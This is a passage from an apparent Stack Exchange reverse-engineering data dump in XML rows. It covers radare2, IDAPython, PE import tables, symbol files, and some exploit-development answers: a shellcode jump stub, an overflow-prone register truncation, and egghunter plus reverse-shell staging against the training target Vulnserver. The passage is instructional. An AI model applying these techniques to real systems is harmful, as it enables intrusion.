  <row Id="16861" PostTypeId="2" ParentId="16837" CreationDate="2017-11-28T22:34:30.890" Score="2" Body="&lt;p&gt;I think your shellcode is missing the specifier for the bit-ness of the shellcode. You're compiling the &lt;code&gt;shells&lt;/code&gt; in 32 bits, but for the &lt;code&gt;nasm&lt;/code&gt; (I'm assuming you're using that) doesn't have anything. I'm assuming you're compiling in &lt;code&gt;bin&lt;/code&gt; mode and if you check the &lt;a href=&quot;http://www.nasm.us/doc/nasmdoc6.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...the bin output format defaults to 16-bit mode in anticipation of it being used most frequently to write DOS .COM programs, DOS .SYS device drivers and boot loader software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So what you need to do is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[BITS 32]&#xA;section .text&#xA;    global _start&#xA;_start:&#xA;    mov eax,0x08048540 ; need to put correct address here of course&#xA;    jmp eax&#xA;&#xA;section .data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..compile &amp;amp; voilà&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1RPqH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1RPqH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-11-28T22:34:30.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16862" PostTypeId="1" AcceptedAnswerId="16865" CreationDate="2017-11-29T03:30:18.987" Score="3" ViewCount="3686" Body="&lt;p&gt;I'm switching over to Radare2 from GDB mixed with peda. One of the things I love about GDB, is the &lt;code&gt;p&lt;/code&gt; command. For example, &lt;code&gt;p system&lt;/code&gt; prints out the address of system. As well, peda's &lt;code&gt;searchmem&lt;/code&gt; function is wonderful for uses such as &lt;code&gt;searchmem SHELL&lt;/code&gt;. In Radare2, I have no idea how to achieve this. I've been Google'ing to the high heavens to no avail. Does anyone know if Radare2 has this ability?&lt;/p&gt;&#xA;" OwnerUserId="22404" LastActivityDate="2017-11-29T04:29:13.803" Title="How To Print Addresses in Radare2" Tags="|radare2|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16863" PostTypeId="2" ParentId="16862" CreationDate="2017-11-29T04:07:26.243" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;https://github.com/longld/peda/blob/master/peda.py#L1893&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;peda&lt;/code&gt; source code&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; def searchmem(self, start, end, search, mem=None):&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        Search for all instances of a pattern in memory from start to end&#xA;        Args:&#xA;            - start: start address (Int)&#xA;            - end: end address (Int)&#xA;            - search: string or python regex pattern (String)&#xA;            - mem: cached mem to not re-read for repeated searches (raw bytes)&#xA;        Returns:&#xA;            - list of found result: (address(Int), hex encoded value(String))&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This sounds quite similar to &lt;code&gt;r2&lt;/code&gt;'s &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/search_bytes/intro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;searching capability&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The radare2 search engine is based on work done by esteve, plus multiple features implemented on top of it. It supports multiple keyword searches, binary masks, and hexadecimal values. It automatically creates flags for search hit locations ease future referencing.&lt;/p&gt;&#xA;&lt;p&gt;Search is initiated by / command.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; /?&#xA;|Usage: /[amx/] [arg]Search stuff (see 'e??search' for options)&#xA;| / foo\x00           search for string 'foo\0'&#xA;| /j foo\x00          search for string 'foo\0' (json output)&#xA;| /! ff               search for first occurrence not matching&#xA;| /+ /bin/sh          construct the string with chunks&#xA;| /!x 00              inverse hexa search (find first byte != 0x00)&#xA;| //                  repeat last search&#xA;| /h[t] [hash] [len]  find block matching this hash. See /#?&#xA;| /a jmp eax          assemble opcode and search its bytes&#xA;| /A jmp              find analyzed instructions of this type (/A? for help)&#xA;| /b                  search backwards&#xA;| /B                  search recognized RBin headers&#xA;| /c jmp [esp]        search for asm code&#xA;| /C[ar]              search for crypto materials&#xA;| /d 101112           search for a deltified sequence of bytes&#xA;| /e /E.F/i           match regular expression&#xA;| /E esil-expr        offset matching given esil expressions %%= here&#xA;| /f file [off] [sz]  search contents of file with offset and size&#xA;| /i foo              search for string 'foo' ignoring case&#xA;| /m magicfile        search for matching magic file (use blocksize)&#xA;| /o                  show offset of previous instruction&#xA;| /p patternsize      search for pattern of given size&#xA;| /P patternsize      search similar blocks&#xA;| /r[e] sym.printf    analyze opcode reference an offset (/re for esil)&#xA;| /R [grepopcode]     search for matching ROP gadgets, semicolon-separated&#xA;| /v[1248] value      look for an `cfg.bigendian` 32bit value&#xA;| /V[1248] min max    look for an `cfg.bigendian` 32bit value in range&#xA;| /w foo              search for wide string 'f\0o\0o\0'&#xA;| /wi foo             search for wide string ignoring case 'f\0o\0o\0'&#xA;| /x ff..33           search for hex string ignoring some nibbles&#xA;| /x ff0033           search for hex string&#xA;| /x ff43 ffd0        search for hexpair with mask&#xA;| /z min max          search for strings of given size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-11-29T04:07:26.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16864" PostTypeId="2" ParentId="16860" CreationDate="2017-11-29T04:25:07.883" Score="2" Body="&lt;p&gt;Did you mean the upper bits of &lt;code&gt;rax&lt;/code&gt; rather than &lt;code&gt;ah&lt;/code&gt;? There seems to be a vulnerability (presumably created by compiling and not handling the 32-bit to 64-bit conversion correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address stored at &lt;code&gt;[rbp+username_buffer_input]&lt;/code&gt; is beyond the 4 GiB space, then the upper 32-bits will contain a non-zero value in register &lt;code&gt;rax&lt;/code&gt;. The following code can then lead to a very large nbytes value and potential for a buffer overflow.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, [rbp+username_buffer_input]    ; upper 32-bits of rax may not be zero&#xA;movzx eax, word ptr [rax]               ; doesn't clear out upper 32-bits when reading from an address &amp;gt; 4 GiB&#xA;movzx eax, ax                           ; doesn't clear out upper 32-bits&#xA;...&#xA;mov rdx, rax                            ; uh-oh - nbytes can have a non-zero value in the upper 32-bits of rax carried over from above&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-11-29T04:25:07.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16865" PostTypeId="2" ParentId="16862" CreationDate="2017-11-29T04:29:13.803" Score="4" Body="&lt;p&gt;To print the address of &lt;code&gt;system&lt;/code&gt; export of &lt;code&gt;libc&lt;/code&gt; with radare2 you can use &lt;code&gt;dmi libc system&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to open radare2 and continue executing until you reach the program’s entrypoint. You have to do this because radare2 is starting its debugging before &lt;code&gt;libc&lt;/code&gt; is loaded. When you’ll reach the entrypoint, the library would probably be loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now use the &lt;code&gt;dmi&lt;/code&gt; command and pass it libc and the desired function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d binary_name&#xA;&#xA;[0xf771ab30]&amp;gt; dcu entry0&#xA;Continue until 0x080483d0 using 1 bpsize&#xA;hit breakpoint at: 80483d0&#xA;&#xA;[0x080483d0]&amp;gt; dmi libc system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worth to mention here, that after the analysis (see &lt;code&gt;a?&lt;/code&gt;) radare2 associates names to interesting offsets in the file such as Sections, Function, Symbols, Strings, etc. Those names are called ‘flags’. You can print the flags and their addresses with &lt;code&gt;f&lt;/code&gt;. For more help see &lt;code&gt;f?&lt;/code&gt; and read the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;flags&quot;&lt;/a&gt; chapter in radare2 book. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know how to print different addresses and flags in different ways I'd recommend trying the &lt;code&gt;p?&lt;/code&gt; command and reading the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/print_modes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Printing&quot;&lt;/a&gt; chapter.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Searching in radare2, including in memory, can be done with the &lt;code&gt;/&lt;/code&gt; command. You can get more help about the available search commands by using &lt;code&gt;/?&lt;/code&gt;. I highly recommend reading the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/search_bytes/intro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Search&quot;&lt;/a&gt; chapter in radare2 book. See my answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16760/18698&quot;&gt;here&lt;/a&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/radare/radare2book/details&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2 book&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exploitation using radare2&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-11-29T04:29:13.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16866" PostTypeId="1" AcceptedAnswerId="16891" CreationDate="2017-11-29T13:40:32.340" Score="2" ViewCount="2595" Body="&lt;p&gt;I want to know using IDAPython if an instruction at the end of a basic block is a jump/branch instruction (like &lt;code&gt;B&lt;/code&gt; or &lt;code&gt;JNZ&lt;/code&gt;) and also determine if it's conditional or not. I need it in a CPU agnostic way, without relying on mnemonics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find how to do so by grepping in the $IDA_DIR/python directory.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="18698" LastEditDate="2018-06-27T15:10:05.500" LastActivityDate="2018-06-27T15:10:05.500" Title="IDAPython: How to check if an instruction is a conditional branch or jump?" Tags="|ida|idapython|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16868" PostTypeId="2" ParentId="13366" CreationDate="2017-11-29T19:45:14.110" Score="2" Body="&lt;p&gt;Do you have tried to combine different commands? First you send the reverse shell(with egg marker) with a another command and then the vulnerable command with the egghunter. &#xA;You have to search for a command that keeps the reverse shellcode in memory after the execution of the first command so that the egghunter can find the egg. &#xA;Vulnserver: GDOG puts the reverse shellcode in memory and KSTET sends the egghunter.&#xA;&lt;a href=&quot;https://bogner.sh/2016/04/the-hard-life-of-exploit-developers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bogner.sh/2016/04/the-hard-life-of-exploit-developers/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22415" LastActivityDate="2017-11-29T19:45:14.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16869" PostTypeId="1" CreationDate="2017-11-29T22:59:26.397" Score="6" ViewCount="1593" Body="&lt;p&gt;I have a closed-source binary (&lt;code&gt;minecraft-pi&lt;/code&gt;). For a given section of the assembly like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   a2ed4:       e92d45f8        push    {r3, r4, r5, r6, r7, r8, sl, lr}&#xA;   a2ed8:       e1a04000        mov     r4, r0&#xA;   a2edc:       e59d0024        ldr     r0, [sp, #36]   ; 0x24&#xA;   a2ee0:       e352007f        cmp     r2, #127        ; 0x7f&#xA;   a2ee4:       d3a02000        movle   r2, #0&#xA;   a2ee8:       c3a02001        movgt   r2, #1&#xA;   a2eec:       e1922fa0        orrs    r2, r2, r0, lsr #31&#xA;   a2ef0:       1a000015        bne     a2f4c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;conveniently there's another binary &lt;code&gt;libminecraftpe.so&lt;/code&gt; that has code with symbols while containing similar disassembled instructions, and similar relative placement among functions e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0013a3ac &amp;lt;_ZN5Level11hasChunksAtEiiiiii&amp;gt;:&#xA;  13a3ac:       e92d 43f8       stmdb   sp!, {r3, r4, r5, r6, r7, r8, r9, lr}&#xA;  13a3b0:       2a7f            cmp     r2, #127        ; 0x7f&#xA;  13a3b2:       4604            mov     r4, r0&#xA;  13a3b4:       9809            ldr     r0, [sp, #36]   ; 0x24&#xA;  13a3b6:       bfd4            ite     le&#xA;  13a3b8:       2200            movle   r2, #0&#xA;  13a3ba:       2201            movgt   r2, #1&#xA;  13a3bc:       ea52 72d0       orrs.w  r2, r2, r0, lsr #31&#xA;  13a3c0:       d119            bne.n   13a3f6 &amp;lt;_ZN5Level11hasChunksAtEiiiiii+0x4a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;_ZN5Level11hasChunksAtEiiiiii&lt;/code&gt; ~ &lt;code&gt;Level::hasChunksAt(int, int, int, int, int, int)&lt;/code&gt; according to c++filt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This matches up because despite one being ARM + Linux and the other ARM/Thumb + Android, they come from roughly the same codebase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's thus appealing to build a symbol file for &lt;code&gt;minecraft-pi&lt;/code&gt; by hand and use it in gdb. Even when primarily stepping through assembly it would be very helpful if I could set breakpoints on function names and see informative backtraces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I have written up a map of addresses to symbol names, how can I generate a corresponding symbol file binary (to be loaded in gdb via the &lt;code&gt;symbol-file&lt;/code&gt; command, or even embedded into the executable)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm familiar with human-readable debug symbol formats like Breakpad syms, but are there tools for generating a DWARF binary in this manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found other questions on Stack Exchange related to IDA integration, &lt;code&gt;dwarfexport&lt;/code&gt;, &lt;code&gt;pwndebug&lt;/code&gt;, and &lt;code&gt;unstrip&lt;/code&gt; (included in links below). florisschabert/unstrip has ARM support but seems to be geared toward inserting symbols based on Objective-C standard libraries, which isn't applicable here. Using IDA with &lt;code&gt;dwarfexport&lt;/code&gt; could be an option, but I'd prefer a command-line solution that I could script. I'm basically looking for advice on generally recommended practices before I try out these various tools with limited documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1935/how-to-handle-stripped-binaries-with-gdb-no-source-no-symbols-and-gdb-only-sho&quot;&gt;How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15899/loading-user-specified-ida-symbols-in-gdb&quot;&gt;Loading user specified IDA symbols in GDB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/alschwalm/dwarfexport&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/alschwalm/dwarfexport&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/pzread/unstrip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pzread/unstrip&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/florischabert/unstrip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/florischabert/unstrip&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22402" LastEditorUserId="22402" LastEditDate="2017-11-30T18:37:17.787" LastActivityDate="2017-11-30T18:37:17.787" Title="Generating symbol file for closed-source binary by hand" Tags="|gdb|debugging-symbols|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16870" PostTypeId="1" AcceptedAnswerId="16872" CreationDate="2017-11-30T12:39:29.063" Score="7" ViewCount="17822" Body="&lt;p&gt;What's the difference between the Import Table and the Import Address Table?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2021-10-14T17:56:11.603" Title="Import table vs Import Address Table" Tags="|binary-analysis|x86|pe|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16871" PostTypeId="1" CreationDate="2017-11-30T15:09:01.387" Score="2" ViewCount="2692" Body="&lt;p&gt;How can I load C header file with IDAPython in IDA Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying automatically load C header file with IDAPython, such as &lt;code&gt;Load(&quot;filename.h&quot;)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22434" LastEditorUserId="18698" LastEditDate="2017-11-30T15:39:33.697" LastActivityDate="2018-02-01T19:47:06.533" Title="How can I load C header file with IDAPython in IDA Pro?" Tags="|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16872" PostTypeId="2" ParentId="16870" CreationDate="2017-11-30T15:18:45.993" Score="17" Body="&lt;p&gt;&lt;em&gt;As general, I recommend reading the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;PE Format documentation&lt;/a&gt; on MSDN regarding the PE structure.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Import Table&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Import Table is actually called &quot;Import Directory Table&quot; and contains entries for every DLL which is loaded by the executable. Each entry contains, among other, Import Lookup Table (ILT) and Import Address Table (IAT)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote from the PE format specs about &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx#import_directory_table&quot; rel=&quot;noreferrer&quot;&gt;Import Directory Table&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Import Directory Table&lt;/strong&gt;&lt;br&gt;&#xA;  The import information begins with the import directory table, which describes the remainder of the import&#xA;  information. The import directory table contains address information&#xA;  that is used to resolve fixup references to the entry points within a&#xA;  DLL image. The import directory table consists of an array of import&#xA;  directory entries, one entry for each DLL to which the image refers.&#xA;  The last directory entry is empty (filled with null values), which&#xA;  indicates the end of the directory table. Each import directory entry&#xA;  has the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset    Size    Field&#xA;0         4       Import Lookup Table RVA&#xA;4         4       Time/Date Stamp&#xA;8         4       Forwarder Chain&#xA;12        4       Name RVA&#xA;16        4       Import Address Table RVA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Import Address Table&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Import Address Table is comprised of function pointers, ans is used to get the addresses of functions when the DLLs are loaded. A compiled application was designed so that all API calls will not use direct hardcoded addresses but rather work through a function pointer. The pointer table can be accessed in several ways -- either directly by a &lt;em&gt;call&lt;/em&gt; to &lt;code&gt;[pointer address]&lt;/code&gt; or by the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx#import_lookup_table&quot; rel=&quot;noreferrer&quot;&gt;&quot;Import Lookup Table&quot;&lt;/a&gt; and the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx#hint_name_table&quot; rel=&quot;noreferrer&quot;&gt;&quot;Hint/Name Table&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's quote again from the PE specs about the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx#import_address_table&quot; rel=&quot;noreferrer&quot;&gt;&quot;Import Address Table&quot;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Import Address Table&lt;/strong&gt;&lt;br&gt;&#xA;  The structure and content of the import address table are identical to those of the import lookup table, until&#xA;  the file is bound. During binding, the entries in the import address&#xA;  table are overwritten with the 32-bit (for PE32) or 64-bit (for PE32+)&#xA;  addresses of the symbols that are being imported. These addresses are&#xA;  the actual memory addresses of the symbols, although technically they&#xA;  are still called &quot;virtual addresses.&quot; The loader typically processes&#xA;  the binding.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;References:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;PE Format specifications&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sandsprite.com/CodeStuff/Understanding_imports.html&quot; rel=&quot;noreferrer&quot;&gt;Understanding the Import Address Table&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia: Portable Executable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/32845334#7193722&quot;&gt;SO answer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="8200" LastEditDate="2020-06-15T12:30:44.653" LastActivityDate="2020-06-15T12:30:44.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16873" PostTypeId="2" ParentId="16857" CreationDate="2017-11-30T18:59:15.470" Score="4" Body="&lt;h2&gt;First, a couple of clarifications&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;em&gt;Import Address Table&lt;/em&gt; is a table that only consists of the imported function's addresses. Unlike the &lt;code&gt;Import Table&lt;/code&gt; (which consists of &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;s) that also details where to lookup those imports.&lt;/p&gt;&#xA;&lt;p&gt;To reiterate: &lt;em&gt;(this is slightly oversimplified)&lt;/em&gt; The &lt;em&gt;Import Address Table&lt;/em&gt; is an array of the imported functions' actual addresses in memory in the current process. Not divided to modules, no extra information like the ordinal or name. Just an array of the addresses of all imported functions.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;IMAGE_IMPORT_DESCRIPTORS&lt;/code&gt; are way more structured, clean and partitioned. They are what enables the loader to &lt;em&gt;find&lt;/em&gt; the function it's looking for. The &amp;quot;RVAs of the resolved virtual address&amp;quot; as you called them (There are actually two, &lt;code&gt;Characteristics&lt;/code&gt; and &lt;code&gt;FirstThunk&lt;/code&gt;, in the &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; structure) is not pointing to the actual imported function in the remote DLL, but to the location in the &lt;em&gt;Import Address Table&lt;/em&gt; of the &lt;em&gt;first&lt;/em&gt; item in that &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;. Subsequent items in the same &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; are also the following items in the &lt;em&gt;Import Address Table&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;As the loader goes over the &lt;code&gt;IMPORT_TABLE&lt;/code&gt; and the different &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;s, it resolves each function and places that function's final address in the function's designated &lt;em&gt;Import Address Table&lt;/em&gt; location. &lt;code&gt;FirstThunk&lt;/code&gt; is how the loader knows the Import Address Table location of a function described in &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;s.&lt;/p&gt;&#xA;&lt;h2&gt;but, why? (AKA answering your questions)&lt;/h2&gt;&#xA;&lt;p&gt;So as you can see, the &lt;code&gt;FirstThunk&lt;/code&gt; only holds one address for multiple imported functions, and it only &lt;em&gt;points&lt;/em&gt; to the address (and not holding it directly as your question implies), so we can't easily &amp;quot;use the thunk&amp;quot; instead of the &lt;em&gt;Import Address Table&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;As to why you can overwrite the actual content in the IAT for a PE on disk and everything will still work - that was answered implicitly but I'll answer it explicitly as well. The data on disk is the same data as in the &lt;code&gt;Characteristics&lt;/code&gt; structure, the pointers are the same. However that data should not ever be actually read according to Microsoft's own documentation, the IAT is mostly made to be populated during the PE loading process. I would guess the reason it is initialized with the relevant data was kind of a thought of &amp;quot;why the hell not&amp;quot; by the developers.&lt;/p&gt;&#xA;&lt;h2&gt;but still, why?&lt;/h2&gt;&#xA;&lt;p&gt;Now, if you've been following, you should be asking a similar question (and you were, that's what this question is still roughly about):&lt;/p&gt;&#xA;&lt;p&gt;That structure is still more complicated than it could've been, and the main reason the &lt;em&gt;Import Address Table&lt;/em&gt; was created in a condensed manner (instead of being included as addresses in the different &lt;code&gt;IMPORT_NAME&lt;/code&gt; or other similar structures) is actually an optimization.&lt;/p&gt;&#xA;&lt;p&gt;I'm glad you asked! ;) I'll explain.&lt;/p&gt;&#xA;&lt;p&gt;As you may know, DLLs are efficiently loaded into the same addresses and use a windows mechanism known as &lt;em&gt;Copy On Write&lt;/em&gt; to only actually have a single copy of most Modules. This is also true when Modules are mapped to different Virtual Addresses. However, when the need to populate imported functions for a Module, writes to PE structures are required. No matter where you hold the address, it's gotta be changed. The &lt;em&gt;Import Address Table&lt;/em&gt; is there to to only trigger Copy On Write for as few pages as possible (those being the actual &lt;em&gt;Import Address Table&lt;/em&gt; pages themselves).&lt;/p&gt;&#xA;&lt;p&gt;This is, by the way, partially the reason there's that extra level of indirection in the PE to begin with.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="10182" LastEditDate="2020-10-17T07:04:28.557" LastActivityDate="2020-10-17T07:04:28.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16874" PostTypeId="2" ParentId="16871" CreationDate="2017-11-30T20:49:11.040" Score="2" Body="&lt;p&gt;See below the quote from &lt;a href=&quot;https://github.com/idapython/src/blob/d99a89369741ce272ba792d6f087d0739a2f8ac7/python/idc.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;idc.py&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def parse_decls(inputtype, flags = 0):&#xA;    &quot;&quot;&quot;&#xA;    Parse type declarations&#xA;    @param inputtype: file name or C declarations (depending on the flags)&#xA;    @param flags: combination of PT_... constants or 0&#xA;    @return: number of parsing errors (0 no errors)&#xA;    &quot;&quot;&quot;&#xA;    return ida_typeinf.idc_parse_types(inputtype, flags)&#xA;&#xA;&#xA;PT_FILE =   0x0001  # input if a file name (otherwise contains type declarations)&#xA;PT_SILENT = 0x0002  # silent mode&#xA;PT_PAKDEF = 0x0000  # default pack value&#xA;PT_PAK1 =   0x0010  # #pragma pack(1)&#xA;PT_PAK2 =   0x0020  # #pragma pack(2)&#xA;PT_PAK4 =   0x0030  # #pragma pack(4)&#xA;PT_PAK8 =   0x0040  # #pragma pack(8)&#xA;PT_PAK16 =  0x0050  # #pragma pack(16)&#xA;PT_HIGH  =  0x0080  # assume high level prototypes&#xA;                    # (with hidden args, etc)&#xA;PT_LOWER =  0x0100  # lower the function prototypes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-11-30T20:49:11.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16875" PostTypeId="1" CreationDate="2017-11-30T22:43:42.547" Score="0" ViewCount="228" Body="&lt;p&gt;i'm using IDA to reverse some crypto code that seems to derive its key from some hashing functions. I have recognized the algoritm based on magic numbers, but i want to see its changes in memory easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does there exist a way to mark changes in memory in the Hex view in IDA, or another debugger? I'm finding it tiresome to check and remember memory addresses all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm imagining some feature that marks memory as it is touched, and lets you mouseover the fields to get more information on what made the change. That shouldn't be that intensive if done only when stepping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Such is life, deal with it&quot; is also an acceptable answer, but i just want to know if i am doing this the stupid cumbersome way, or of there's a better 